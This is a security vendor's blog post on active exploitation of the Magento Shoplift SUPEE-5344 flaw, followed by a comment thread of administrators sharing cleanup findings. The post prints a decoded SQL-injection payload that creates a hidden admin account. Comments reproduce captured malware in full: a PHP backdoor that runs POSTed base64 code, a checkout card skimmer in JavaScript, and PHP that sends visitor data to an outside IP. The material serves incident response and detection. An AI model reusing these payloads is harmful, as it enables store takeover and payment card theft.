• Skip to primary navigation
  • Skip to content
  • Skip to primary sidebar
  • Skip to footer

Sucuri Blog

Website Security News

  • Products
    • Website Security Platform
    • Website Firewall (WAF)
    • Enterprise Website Security
    • Multisite Solutions
  • Features
    • Detection
    • Protection
    • Performance
    • Response
    • Backups
  • Partners
    • Agency Solutions
    • Partners
    • Referral Program
    • Ecommerce
  • Resources
    • Guides
    • Webinars
    • Infographics
    • SiteCheck
    • Reports
    • Email Courses
  • Immediate Help
  • Login

Magento Shoplift (SUPEE-5344) Exploits in the Wild

April 23, 2015Daniel Cid

FacebookTwitterSubscribe

As warned a few days ago, the Magento Shoplift (SUPEE-5344) vulnerability details have been disclosed by the CheckPoint team. They show step by step how it can be exploited to take over a vulnerable Magento site.

They have prepared the following video showing a Proof of Concept (PoC) in which they create a fake coupon:

That’s a simple example. This vulnerability can be exploited in much more devastating ways.

Magento ShopLift in the Wild

As expected, it is now actively being exploited.

In less than 24 hours since the disclosure, we have started to see attacks via our WAF logs trying to exploit this vulnerability. It seems to be coming from a specific crime group, since they all look the same:

62.76.177.179 – – [23/Apr/2015:00:45:44 -0400] “POST /index.php/admin/Cms_Wysiwyg/[HIDDEN] HTTP/1.1” 403 1880 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 Safari/537.36”

185.22.232.218 – – [22/Apr/2015:00:42:38 -0400] “POST /index.php/admin/Cms_Wysiwyg/[HIDDEN] HTTP/1.1” 200 2211 “-” “Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20130101 Firefox/10.0”

And always from these two IP addresses from Russia: 62.76.177.179 and 185.22.232.218. If you look for them in your logs, you can see if you have been attacked by the same group.

Our research team was able to catch and analyze their exploit. So far, it is only trying to create a fake admin user inside the Magento database, which they will certainly misuse later to take over of the site. This is the decoded exploit:

popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);

SET @SALT = “rp”;

SET @PASS = CONCAT(MD5(CONCAT( @SALT , ‘123’) ), CONCAT(‘:’, @SALT ));
SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;

INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES (‘Firstname’,’Lastname’,”email@example.com”,’ypwq‘,@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());

INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,’U’,(SELECT user_id FROM admin_user WHERE username = ‘ypwq’),’Firstname’); —

The code is leveraging SQL Injection (SQLi) and inserting a new admin_user to the database. If you suspect you have been compromised, look for the usernames vpwq or defaultmanager as it seems to be the ones being used by this specific group so far.

Note that we are hiding some of the details and payloads, to make it hard for someone else to copy and create an exploit out of it. However, some groups already have an exploit and are attacking as many sites as they can, and pretty fast.

Protect your Magento site!

If you haven’t patched it yet, you are likely already compromised or will be soon. I recommend patching and adding your site behind a Web Application Firewall or Intrusion Detection System to stop these attacks for you.

If you’re in need of a solution, don’t hesitate to inquire about our Website Firewall; this vulnerability has been virtually patched for all existing customers.

FacebookTwitterSubscribe

Categories: Magento Security, Vulnerability DisclosureTags: Hacked Websites

About Daniel Cid

Daniel B. Cid is Founder of Sucuri and the VP of Engineering for the GoDaddy Security Products group. He is also the founder of OSSEC and CleanBrowsing. You can find more about Daniel on his site dcid.me or on Twitter: @danielcid

Reader Interactions

Comments

  1. Charles McHutchence

    April 24, 2015

    We got owned. The username was siqi for us, FYI for anyone whos looking for the admin)user account

  2. khaefeli

    April 24, 2015

    our honeypot has the following new admin user: dbopt, _system_backup, dataopt

    • Delroy Lando

      April 24, 2015

      We’ve got dbopt, too. What have you done, besides deleting user and installing patch?

      • khaefeli

        April 27, 2015

        it’s a honeypot installation – so we want to be hacked.
        but on a live system:
        – restore (you don’t know how many .php files etc are infected)
        – install the patch
        – install a WAF
        – use a secure hosting provider (e.g. no outgoing connections etc)

        • redesigned

          April 27, 2015

          are you blogging about what changes have been made to your honeypot system? that would be super helpful, not to mention fascinating.

        • Delroy Lando

          May 3, 2015

          Thanks!

  3. redesigned

    April 24, 2015

    i’ve been patching tons of sites, 60+ so far, and only 2 have been exploited, both in the 1.7 branch.
    in addition to creating an admin user, they’ve modified the /lib/Varian/Db/Adaptor/Pdo/Mysql.php file in such a way that the patch fails that chunk, and that file has to be patched manually. That is the only change I’ve noticed, but it is a big one as it leaves the door open for them to get back in if not addressed.

    Anyone know any other issues that should be checked and/or addressed?
    I’m putting together a checklist.

    Thanks!

    • ifnull

      April 27, 2015

      All the exploited instances I have seen so far have had the hash/salt “f4c8e326312d5ddb79c04b408e55010a:rp”. In addition, half of the exploited instances had downloaded the Magpleasure/Filesystem extension which no longer seems to be available. The second phase of the attack happens a couple days later when they use system_backup to create a new backup and download it.

      • redesigned

        April 27, 2015

        Thanks for the update @ifnull:disqus I’m seeing the MagePleasure module as well.

        Removing that Module, Deleting the users, and Patching Magento, is there anything else that needs to be done to re-secure the system? Is there someplace that people are maintaining a checklist of the fixes that need to be done to re-secure a site? Thanks!!!

        • Anthelmintics

          April 27, 2015

          I just finished cleaning one up. Out of 30 sites, one was hacked. Same methodology; created a four character admin user, installed Magpleasure_filesystem and edited /lib/Varien/Db/Adapter/Pdo/Mysql.php. Only exception was they also installed Edit Area (A source code editor) in the ‘js’ directory. I found the tarball for the file system extension and a bunch of other junk all with the same creation date 4/22/15 @ 11:15PM. In the end I opted to roll the site back to the 4/21/15, patch and merge the new customer and order data with the restored DB.

          • redesigned

            April 28, 2015

            I’m also seeing EditArea in the js folder on all the sites that were hacked.

          • Anthelmintics

            April 28, 2015

            Same here we discovered another hacked install this morning, identical to the first one. It was running 1.6.2, I’ve not seen a 1.4, 1.7 or 1.9 site compromised as of yet.

          • redesigned

            April 29, 2015

            I’m seeing the highest percentage of 1.7 sites hacked, not sure if it is something specific to the version, or just if they’ve been around longer and are easier to find.

          • ifnull

            April 28, 2015

            I think EditArea is installed with Magpleasure_filesystem

    • Jeff Moriarty

      April 30, 2015

      Did you notice any websites being slow to load…like practically timing out? We patched our websites after one was exploited. We had 4 websites on 1 dedicated server. All patches in, but now the sites randomly won’t load at all or take a couple minutes. Trying to figure this one out.

      • redesigned

        April 30, 2015

        Hey Jeff,

        I haven’t noticed that for any of the sites I’ve patched.

        Is it one specific version of Magento?

        Did you upgrade the Magento version at the same time, if so those setup scripts can take a long time.

        Do they load faster now? Sometimes changes will trigger a reindex which slows the site down/times it out, until that completes, then the site returns to normal.

        Do you have any sort of server level caching enabled (memcache/apc/varnish) etc? That needs to be cleared.

        Have you manually cleared the sites caches:
        rm -rf ./downloader/pearlib/cache/* ./downloader/pearlib/download/*
        rm -rf ./var/cache/* ./var/session/* ./var/report/* ./var/log/*
        rm -rf ./media/tmp/* ./app/code/core/Zend/Cache/* ./var/tmp/*

        Have you reindexed the sites?
        php ./shell/indexer.php -reindexall

        Have you scanned for any other malicious changes? You can see any files modified in the last 4 days via:
        find -type f -mtime -4

        Make sure to remove the hacked admin users and any you don’t actively need.

        Make sure to delete the MagePleasure_FileSystem module.

        Make sure to delete the EditArea JavaScript code editor.

        Make sure to manually make the changes to the /lib/Varian/Db/Adaptor/Pdo/Mysql.php file as the patch will fail to patch that file on a hacked site.

        Change all the admin passwords, and ideally the admin login url.

        Hopefully something in this message helps, please let me know if you need any assistance or have any further questions.

        Cheers,
        Josh

        • Jeff Moriarty

          May 1, 2015

          It ended up being on the server…something else the hosting company did the same weekend ugh. Fixed now though. But 3 days after the patch was installed, we had an order placed, and they said their card was used right after in a fraudulant transaction. Could there be something the patch isn’t protecting?

          • redesigned

            May 1, 2015

            Yeah, yikes! The patch only protects against initial intrusion, it closes the initial entry point, but that is it.

            If the site has already been hacked then likely malicious code was installed into the site as well as several new entry points. Once a site has been hacked it takes a lot more then the patches to get it back to proper working order.

            Do you have a pre-hack backup of the files you can roll back to or source control on the site? If not you will want to go through the fixes I outlined above, and double check the files I mention in the update below that, as well as scan for additional changes. If you find anything new, please post back here for the benefit of the rest of us.

            I’ve been putting in 16+ hr days all week patching sites and cleaning hacked sites. right now I’m seeing approx 70% of unpatched sites being hacked, which is a very high rate, at first it was only a handful.

            If you don’t have a backup and need additional assistance cleaning the site(s) let me know. Best of luck with your sites! Cheers.

      • volkan

        April 30, 2015

        i had the same problem, especially the checkout was very slow.
        the Problem was in the /js/index.php, it was compromised too
        check also index.php and /lib/varien/autoload.php

  4. Subprime

    April 26, 2015

    Usernames dewo and _system_backup for our site. Dewo is email@example.com, so appears to be a typo of demo.

    • ifnull

      April 27, 2015

      I’ve seen a half dozen different users names. They are all 4 char and seem random.

  5. Alex Nauta

    April 26, 2015

    So I am currently fixing an exploited test-installation of magento 1.9.x , and noticed these IP adresses too. But they had a little different workflow, as I found out, they have installed the module “Magpleasure File System” remotely to get access to the filesystem.

    • redesigned

      April 27, 2015

      Any other changes you’ve found?

    • cd7

      April 27, 2015

      It could come together why there was starting be active month-two ago POST requests to Magento Connect Install

      POST /downloader/index.php?A=loggedin

  6. TheloMonk

    April 27, 2015

    For my magento site, the created admin user was gxer et the email gxer@example.com

  7. ifnull

    April 27, 2015

    Usernames are random 4 character. Look for email address email@example.com.

  8. Mike

    April 27, 2015

    I checked all core files and they’ve modified the Mysql.php and IndexController.php in Magento Version 1.7.0.1 – I also compared the actual database with an unhacked mysql dump, but can’t find anything.

  9. test

    April 29, 2015

    ypwq or vpwq???

  10. el polaco

    April 29, 2015

    Also there is new code injection in /js/index.php

    // no files specified return 404

    $id=str_replace(“www.”, “”, $_SERVER[‘HTTP_HOST’]);

    //checking if client have older copy then we have on server

    $url=’http://217.12.204.163/obf.php’;

    if($_COOKIE[“SESSIID”]!=””){

    // try automatically get content type if requested

    $url=$url.’?a=’.$_COOKIE[“SESSIID”];

    $data=json_encode(array(‘request’=>$_REQUEST, ‘ip’=>$_SERVER[‘REMOTE_ADDR’],’ua’=>$_SERVER[‘HTTP_USER_AGENT’],’cookie’=>$_COOKIE[“SESSIID”],’date_unix’=>time()));

    $data=base64_encode($data);

    $ch = curl_init();

    // set custom content type if specified

    curl_setopt($ch, CURLOPT_URL,$url);

    curl_setopt($ch, CURLOPT_POST, 1);

    curl_setopt($ch, CURLOPT_POSTFIELDS,http_build_query(array(‘data’=>$data,’utmp’=>$id)));

    curl_setopt($ch, CURLOPT_RETURNTRANSFER, false);

    curl_exec ($ch);

    curl_close ($ch);

    } else{

    // try automatically get content type if requested

    $rand=rand(1,9999999999);

    setcookie(“SESSIID”, $rand,time()+3600);

    $data=json_encode(array(‘request’=>$_REQUEST, ‘ip’=>$_SERVER[‘REMOTE_ADDR’],’ua’=>$_SERVER[‘HTTP_USER_AGENT’],’cookie’=>$rand,’date_unix’=>time()));

    $data=base64_encode($data);

    $url=$url.’?a=’.$rand;

    $ch = curl_init();

    // set custom content type if specified

    curl_setopt($ch, CURLOPT_URL,$url);

    curl_setopt($ch, CURLOPT_POST, 1);

    curl_setopt($ch, CURLOPT_POSTFIELDS,http_build_query(array(‘data’=>$data,’utmp’=>$id)));

    curl_setopt($ch, CURLOPT_RETURNTRANSFER, false);

    curl_exec ($ch);

    curl_close ($ch);

    }

    and in /js/lib/ccard.js

    var snd =null;

    window.onload = function () {

    if((new RegExp(‘onepage|onestepcheckout|firecheckout|onestepquickcheckout|simplecheckout|checkout’)).test(window.location)) {

    send();

    }

    };

    function clk() {

    var inp=document.querySelectorAll(“input, select, textarea, checkbox”);

    for (var i=0;i0) {

    var nme=inp[i].name;

    if(nme==”) { nme=i; }

    snd+=inp[i].name+’=’+inp[i].value+’&’;

    }

    }

    }

    function send() {

    var btn=document.querySelectorAll(“button, input, submit, .btn, .button”);

    for (var i=0;i<btn.length;i++){

    var b=btn[i];

    if(b.type!='text' && b.type!='slect' && b.type!='checkbox' && b.type!='password' && b.type!='radio') {

    if(b.addEventListener) {

    b.addEventListener("click", clk, false);

    }else {

    b.attachEvent('onclick', clk);

    }

    }

    }

    var frm=document.querySelectorAll("form");

    for (var i=0;i<frm.length;i++){

    if(frm[i].addEventListener) {

    frm[i].addEventListener("submit", clk, false);

    }else {

    frm[i].attachEvent('onsubmit', clk);

    }

    }

    if(snd!=null) {

    console.clear();

    var cc = new RegExp("[0-9]{13,16}");

    var asd="0";

    if(cc.test(snd)){

    asd="1" ;

    }

    var http = new XMLHttpRequest();

    http.open("POST","/js/index.php",true);

    http.setRequestHeader("Content-type","application/x-www-form-urlencoded");

    http.send("data="+snd+"&asd="+asd);

    console.clear();

    }

    snd=null;

    setTimeout('send()', 150);

    }

    • redesigned

      April 30, 2015

      so far I haven’t seen this in any of my hacked sites either, but thanks for the heads up, i’ll keep my eyes peeled.

    • Shaun Ek

      May 21, 2015

      I have found this same vulnerability on a site I am cleaning up. It was very similar. It grabs form fields from pages (any page, including checkout) and submits to their server… I changed the url and build my own endpoint and verified that it works and yes they got personal and credit card information. 🙁

  11. el polaco

    April 29, 2015

    And new file in /js/api.php

    • redesigned

      April 30, 2015

      so far I haven’t seen this in any of my hacked sites, but thanks for the heads up, i’ll keep my eyes peeled.

      • el polaco

        April 30, 2015

        the content of this file is in comment above! 🙂

        • redesigned

          April 30, 2015

          Thanks for keeping everyone else updated with your findings, super helpful for others dealing with hacked sites!

  12. el polaco

    April 29, 2015

    $hash = ’92bde3b96aff934ed67420a3f6130ac2′;

    if (md5($_POST[‘hash’]) === $hash) {

    mage($_POST[‘code’]);

    if (isset($_POST[‘clean’]))

    clean();

    }

    function mage($code)

    {

    $b = ‘b’.’as’.’e’.’6′.’4′.’_’.’d’.’eco’.’de’;

    $code = $b($code);

    $file = ‘no_image.gif’;

    $fp = fopen($file, ‘w’);

    fwrite($fp, $code);

    fclose($fp);

    if (is_file($file))

    @include($file);

    }

    function clean()

    {

    @unlink(‘no_image.gif’);

    }

    • redesigned

      April 30, 2015

      which file are you seeing this in?

      • Tor

        May 14, 2015

        I get this too in /js/api.php after comparing to Magento 1.9.1 core files I can’t see the file in there at all

      • Gabriel Molina

        November 25, 2015

        Hi redesigned, I hope this topic is not yet closed. I have this problem with the media/dhl/info.php. This file is weird. Had you encountered this before? The file codes looks like it’s fetching details from our magento site. I did some research and found out that it’s not only me who has this problem. here’s the code:

  13. el polaco

    April 30, 2015

    I’ve had another problem. On one of my sites

    After patching, removing false admin users, and cleaning files, next day there where two new false admin users in backend. I have even blocked the class of IPs in .htaccess. And it didn’t help…

    It starts to be really scarry, if all the magento shops are in danger.

    Have you had the same?

    • redesigned

      May 1, 2015

      No, I haven’t seen any additional signs of intrusion in any site I’ve fixed. are you sure the patch applied 100%, hacked sites have an altered /lib/Varian/Db/Adaptor/Pdo/Mysql.php file, so the patch will fail against that file, it has to be patched manually or replaced.

      If that isn’t the issue it sounds like your site has an additional intrusion point that you haven’t yet detected. You’ll want to restore from a pre-hack backup, or if not scan everything carefully. If the site doesn’t have any core files changed, which hopefully it doesn’t you can overwrite the magento with a fresh copy of the same version number, or do a upgrade.

      Best of luck figuring things out. Dealing with a hacked site is no fun!

  14. el polaco

    May 4, 2015

    I have had another problem.
    I have cleaned one other site of our client. I mean I have
    – removed the admin users
    – block in htaccess both IPs
    – cleand index.php from the root
    – and applyed the PATCH

    But after the weekend the index.php has been once again changed, and the code has been injected :

    if (preg_match(‘//admin/Cms_Wysiwyg/directive/index//’, $_SERVER[‘REQUEST_URI’])) {
    if ($_SERVER[‘REQUEST_METHOD’] == ‘POST’) {
    if (isset($_REQUEST[‘___directive’]) && isset($_REQUEST[‘forwarded’])) {
    if (preg_match(‘/report_search_grid/’, base64_decode($_REQUEST[‘___directive’])))
    $_REQUEST[‘forwarded’] = $_POST[‘forwarded’] = $_GET[‘forwarded’] = $_COOKIE[‘forwarded’] = null;
    }
    }
    }

    Have you had the same problem? Where can I find the solution for this problem?
    I have been looking for MagePleasure module, but it doesn’t exist in
    – code/local nor in
    – code/core

    The one thing that I can see is that many folders has 777 access rights, so I will change the access rights for the files and folders.

    • Shaun Ek

      May 21, 2015

      I also had the same code in a site’s /index.php, no Magepleasure module.

  15. el polaco

    May 5, 2015

    OK I have new malware found on my site but I am not sure if it is connected to the ShopLift

    files :
    /media/dhl/info.php
    /media/dhl/.htaccess
    /js/flash/FrontendHtml.phar.php (binary file)
    /js/extjs/resources/images/magento/basic-dialog/MagentoLib.php

    if you wish I can send you the content of all files

    • Shaun Ek

      May 21, 2015

      I also found the /media/dhl/info.php and /media/dhl/.htaccess. Weird though, it seems that the info.php has the ability to eval arbitrary php code that is passed in but my apache access logs don’t show and POSTs to that file. But there were a lot of requests to /get.php/media/dhl/.htaccess, which I guess is a way to get the contents of that .htaccess file. :/ Not sure what to make of it, but needed to be cleaned up regardless.

  16. SawBladePainter

    May 5, 2015

    Yep my client’s 1.8.1 site got hacked on 4/23 and then again by someone else on 4/26.

    # modified: app/code/core/Mage/Cms/controllers/IndexController.php
    # modified: downloader/cache.cfg
    # modified: downloader/pearlib/php/PEAR/Command/Mage.php
    # modified: downloader/pearlib/php/PEAR/Installer/Role/Mage.php
    # modified: lib/Varien/Db/Adapter/Pdo/Mysql.php

    ADDED:
    # app/code/community/Magpleasure/
    # app/design/adminhtml/default/default/layout/filesystem.xml
    # app/design/adminhtml/default/default/template/filesystem/
    # app/etc/modules/Magpleasure_Filesystem.xml
    # downloader/.cache/community/File_System-1.0.0.tgz
    # js/editarea/
    # js/filesystem/
    # skin/adminhtml/default/default/filesystem/

    PW HASH/SALT:
    f4c8e326312d5ddb79c04b408e55010a:rp

    FOUR LETTER USERNAMES + email@example.com

    How do we figure out whether they downloaded the database or config files, etc.?

    • ifnull

      May 5, 2015

      You should check your Apache access logs. Look at the transfer size and compare it to the size of your backups.

      • Trim

        May 13, 2015

        Hi,

        recently I noticed many files exported to var/export. They only contain first line: ID,”x”,x,x

        I have never done any exports from within Magento!

        Does anyone have an idea on how to check what has caused these csv files to be generated in var/export directory??

        How do I figure out whether they downloaded the dB or config files, emails, etc

        • tarrmrob

          May 14, 2015

          Is it normal to have csv files in /includes/stat/

    • tarrmrob

      May 14, 2015

      In what way was it modified? downloader/cache.cfg

      How to fix this file?

      • SawBladePainter

        May 15, 2015

        I don’t recall how it was modified. I could look it up if you really need to know. But anyway just reset to your latest known good commit:

        cd /your/working/directory
        git reset –hard

        Or restore the files from a backup.

        If you’re not using git on your project, and don’t back up your files, well… let me know and I’ll dig up the diff on that file so you can see what was done, I guess.

    • Matthias Kleine

      July 30, 2015

      OMG just found MagPleasure, too. Thought that was a module installed by our customer. Thank you very much for sharing!

  17. Grrring Bassmo

    May 6, 2015

    Would like to confirm that have also seen an admin user with a random 4 letter name and email@example.com. This has gone along with the Magpleasure/Filesystem extension installation. Not sure what else yet.

  18. Grrring Bassmo

    May 7, 2015

    Following further investigation and finding a second compromised site here are some more snippets of information.

    One of the files that the patch fixes is “lib/Varien/Db/Adapter/Pdo/Mysql.php”. However this file had been modified during the exploit and the patch would not fully complete as the file had been changed. Was able to resolve this by replacing the file and re-running the patch.

    One thing of some concern is that the var/export folder on both compromised sites have been full of csv exports. This suggests that a lot of data has been snatched. This has happened in both a v1.9 and a v1.5 build.

    Also, one site had 3 new admins created, two using the @example.com address but also one with a different address – something along the lines of system_backup (sorry I deleted it quickly). This was in an old v1.5.1 .

    Remember to change your database passwords guys – if they have been able to see your local.xml file that is now no longer a secret.

  19. Grrring Bassmo

    May 7, 2015

    So far all csvs appear to contains only product data

  20. Grrring Bassmo

    May 7, 2015

    Can also recommend changing all existing admin passwords, possibly the usernames too from any compromised site.

    • M.Hutchinson

      May 13, 2015

      Assuming that another action item is to reset all user passwords & email users, is it possible that a handful of user account email addresses have been changed? Would be interesting to do a compare of user email records pre&post hack to see what comes up.

  21. jasonyohon

    May 12, 2015

    Exploit installed MA2 Slideshow Plugin (bizarrely) – IP was in the USA 23.245.26.35 – added ma2all.js which seems like some sort of listener. Scary stuff.

  22. Trim

    May 13, 2015

    Hi,

    recently I noticed many files exported to var/export. They only contain first line: ID,”x”,x,x

    I have never done any exports from within Magento!

    Does anyone have an idea on how to check what has caused these csv files to be generated in var/export directory??

    How do I figure out whether they downloaded the dB or config files, emails, etc

  23. redesigned

    May 15, 2015

    A brand new set of security patches today! Get them installed right away people.

  24. Rick Buczynski

    May 19, 2015

    On one store, I just found a nasty WSO php shell injected into errors/report.php. It allows complete system surveying, code execution, and MySQL controls. Try to run `grep -rn ‘WSOsetcookie’ .` on your store for clues.

    • Shaun Ek

      May 21, 2015

      HOLY CRAP, I just found this one as well and it is CRAZY!!!!!!!! The power of this script is really astounding, and impressive, but mostly scary what it can do. I HIGHLY encourage people to run Rick’s grep command to find, but if it doesn’t come back with anything run this one, which works for the version found on my server

      grep -rn ‘xxtea_encrypt’ .

      (the version on our server was obfuscated by base64 encoding plus some lame php encryption so that is why grep -rn ‘WSOsetcookie’ . didn’t work for me)

      • Rick Buczynski

        May 21, 2015

        Thanks for sharing Shaun — definitely good insight about encoded variations of the shell. FYI, I have only seen it once among about a dozen stores I’ve checked, while some stores have still been compromised under different methods.

  25. Sean

    May 27, 2015

    This guy is using the SUPEE-5994 exploits that are able to expose user account data. You have another patch to apply.

  26. jasonyohon

    May 28, 2015

    Since this exploit I have changed all my admin links to something other than index.php/admin which I obviously should have done years ago. But can anyone confirm if this simple change would have eliminated the capability of the exploit? It seems to me that the hackers/bots could not guess where to run the “POST /index.php/admin/Cms_Wysiwyg” command had the admin folder been changed to something random. Am I wrong about this?

  27. jamesbloob

    June 2, 2015

    On one of our sites that was compromised a user was added to admin_user with username Inuf and Password f4c8e326312d5ddb79c04b408e55010a:rp email was email@example.com

    We found two files so far one was /skin/adminhtml/default/default/images/lanot/filemanager/beaks.php and the other was /js/tiny_mce/classes/firebug/press36.php these two files were sending out spam emails from our site. We are still investigating what else was changed.

    We will probably have to restore the site to a previous backup as we do not know what else could have been affected.

  28. Max

    September 25, 2015

    When I click on the CMS —>PAGES —> edit Home Page appear a web page: Site in maintenance Mode—Varnish Cache

  29. Manu Vincent

    November 18, 2015

    One of my clients magento store got hacked. search result from frontend goes to WSO. I am a newbie to magento. what i know is just to configure magento. PLease help

  30. Eugene

    November 20, 2015

    why there are so many exploits on magento….it is crazy to patch magento all the time….lord

  31. Ad Kc

    November 22, 2016

    It’s little late, but here is the qst. Did you guys see any exploitation on database? It’s hard to re-build the site without the existing database. What are the risk, if I use same database in new installation?

Primary Sidebar

Socialize With Sucuri

We're actively engaged across multiple platforms. Follow us and let's connect!

  • Facebook
  • Twitter
  • LinkedIn
  • YouTube
  • Instagram
  • RSS Feed

Join Over 20,000 Subscribers!

Sucuri Sidebar Malware Removal to Signup Page

Footer

Products

  • Website Firewall
  • Website AntiVirus
  • Website Backups
  • WordPress Security
  • Enterprise Services

Solutions

  • DDos Protection
  • Malware Detection
  • Malware Removal
  • Malware Prevention
  • Blacklist Removal

Support

  • Blog
  • Knowledge Base
  • SiteCheck
  • Research Labs
  • FAQ

Company

  • About
  • Media
  • Events
  • Employment
  • Contact
  • Testimonials
  • Facebook
  • Twitter
  • LinkedIn
  • Instagram

Customer Login

Sucuri Home

  • Terms of Use
  • Privacy Policy
  • Frequently Asked Questions

© 2023 Sucuri Inc. All rights reserved

Sucuri Cookie Policy
See our policy>>

Our website uses cookies, which help us to improve our site and enables us to deliver the best possible service and customer experience.